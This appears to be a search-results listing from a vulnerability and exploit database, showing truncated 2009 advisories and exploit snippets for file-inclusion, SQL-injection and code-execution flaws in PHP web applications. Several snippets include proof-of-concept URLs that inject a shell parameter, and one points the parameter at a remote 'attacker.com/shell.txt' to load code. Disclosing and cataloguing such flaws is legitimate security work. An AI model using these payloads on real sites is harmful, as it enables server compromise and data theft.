10484 matches found
F3Site 2009 - '/mod/poll.php?GLOBALS[nlang]' Traversal Local File Inclusion
source: https://www.securityfocus.com/bid/37408/info F3Site is prone to multiple local file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data. Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks ar...
gpEasy <= 1.5RC3 Remote FIle Include Exploit
Exploit for unknown platform in category web applications ============================================ gpEasy = 1.5RC3 Remote FIle Include Exploit ============================================ Exploit Title: gpEasy = 1.5RC3 Remote FIle Include Exploit Date: 18-12-2009 Author: cr4wl3r Software Link...
[ISecAuditors Security Advisories] QuiXplorer <=2.4.1beta Remote Code Execution vulnerability
============================================= INTERNET SECURITY AUDITORS ALERT 2009-003 - Original release date: March 2nd, 2009 - Last revised: December 17th, 2009 - Discovered by: Juan Galiana Lara - Severity: 9/10 CVSS scored ============================================= I. VULNERABILITY...
Family Connections Multiple Input Validation Vulnerabilities
Family Connections is prone to multiple input-validation vulnerabilities, including a local file-include issue, an arbitrary file-upload issue, and multiple SQL-injection issues. These issues occur because the application fails to properly sanitize user- supplied input. Exploiting these issues ma...
Family Connections <= 2.1.3 Multiple Input Validation Vulnerabilities
Family Connections is prone to multiple input-validation vulnerabilities, including a local file include LFI issue, an arbitrary file-upload issue, and multiple SQL injection SQLi issues. These issues occur because the application fails to properly sanitize user-supplied input...
Invision Power Board < 3.0.5 Multiple Vulnerabilities
The remote web server hosts a version of Invision Power Board earlier than 3.0.5. Such versions are potentially affected by multiple vulnerabilities : - A local-file include vulnerability affects the 'section' parameter sent to the 'forum/index.php' script. - A SQL injection vulnerability affects...
phpldapadmin 'cmd.php' Local File Include Vulnerability
phpldapadmin is prone to a local file-include vulnerability because it fails to sufficiently sanitize user-supplied data. Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible. phpldapadmin 1.1.0.5 is vulnerable; other...
Invision Power Board < 3.0.5 Multiple Vulnerabilities (deprecated)
Binary data 5260.prm...
eoCMS <= 0.9.03 Remote FIle Include Vulnerability
Exploit for unknown platform in category web applications ================================================= eoCMS = 0.9.03 Remote FIle Include Vulnerability ================================================= Exploit Title: eoCMS = 0.9.03 Remote FIle Include Vulnerability Date: 14-12-2009 Author:...
eoCMS <= 0.9.03 Remote FIle Include Vulnerability
No description provided by source. Exploit Title: eoCMS = 0.9.03 Remote FIle Include Vulnerability Date: 14-12-2009 Author: 1nd0n3s14n l4m3r Software Link: http://eocms.com/index.php?act=plugin&id=4 Version: N/A Tested on: GNU/LINUX CVE : N/A Code : N/A eoCMS = 0.9.03 Remote FIle Include...
Mamboleto Joomla! component Remote File Include Vulneralbility
No description provided by source. / ! Mamboleto Joomla! component Remote File Include Vulneralbility ! Author : Don Tukulesto [email protected] ! Homepage : http://www.indonesiancoder.com ! Date : December 10, 2009 ! Tune In : http://antisecradio.fm choose your weapon / Software Informati...
CVE-2009-4254: Exposure of Sensitive Information to an Unauthorized Actor
PowerPhlogger 2.2.5 allows remote attackers to obtain sensitive information via a direct request to 1 edCss.inc.php, 2 foot.inc.php, 3 getcsscolors.inc.php, 4 head.inc.php, 5 headstuff.inc.php, 6 loglist.inc.php, and 7 pphloggersend.inc.php in include/, which reveals the installation path in an...
Joomla! Mamboleto Component 2.0 RC3 Remote File Include Vulneralbility
No description provided by source. / ! Mamboleto Joomla! component Remote File Include Vulneralbility ! Author : Don Tukulesto [email protected] ! Homepage : http://www.indonesiancoder.com ! Date : December 10, 2009 ! Tune In : http://antisecradio.fm choose your weapon / Software Informati...
Invision Power Board Local File Include and SQL Injection Vulnerabilities
Invision Power Board is prone to a local file-include vulnerability and multiple SQL-injection vulnerabilities because it fails to properly sanitize user-supplied input. SPDX-FileCopyrightText: 2009 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyrigh...
SiSplet CMS <= 2008-01-24 Multiple Remote File Include Exploit
Exploit for unknown platform in category web applications ============================================================== SiSplet CMS 3rr0r 2: ./SiSplet-2008-01-24/main/forum/komentar.php line 3 PoC : http://target/path/main/anketa/new.php?sitepath=Shell...
SiSplet CMS <= 2008-01-24 Multiple Remote File Include Exploit
No description provided by source. SiSplet CMS = 2008-01-24 Multiple Remote File Include Exploit 3rr0r 1: ./SiSplet-2008-01-24/main/anketa/new.php line 3 ?php requireonce$sitepath.'main/anketa/class.php'; ? 3rr0r 2: ./SiSplet-2008-01-24/main/forum/komentar.php line 3 ?php...
AROUNDMe <= 1.1 (language_path) Remote File Include Exploit
Exploit for unknown platform in category web applications =========================================================== AROUNDMe PoC : http://server/path/components/core/connect.php?languagepath=Shell 0day.today 2018-01-09...
AROUNDMe <= 1.1 (language_path) Remote File Include Exploit
No description provided by source. Discovered by cr4wl3r \ Indonesian Hacker 3rr0r: ./aroundme11/aroundme/components/core/connect.php line 25 ?php includeonce$languagepath . 'connect.lang.php'; ? PoC : http://server/path/components/core/connect.php?languagepath=Shell Contact Me :...
Invision Power Board Local File Include Vulnerabilities
An attacker can exploit the local file-include vulnerability using directory-traversal strings to view and execute arbitrary local files within the context of the webserver process. Information harvested may aid in further attacks. Invision Power Services Invision Power Board 2.3.6 Invision Power...
SAPID SHOP <= 1.3 Remote File Include Vulnerability
Exploit for unknown platform in category web applications =================================================== SAPID SHOP PoC : http://server/path/usr/extensions/gettree.inc.php?rootpath=http://attacker.com/shell.txt??? Vuln : ./SAPID-SHOP-1.3/usr/extensions/gettree.inc.php line 11 PoC :...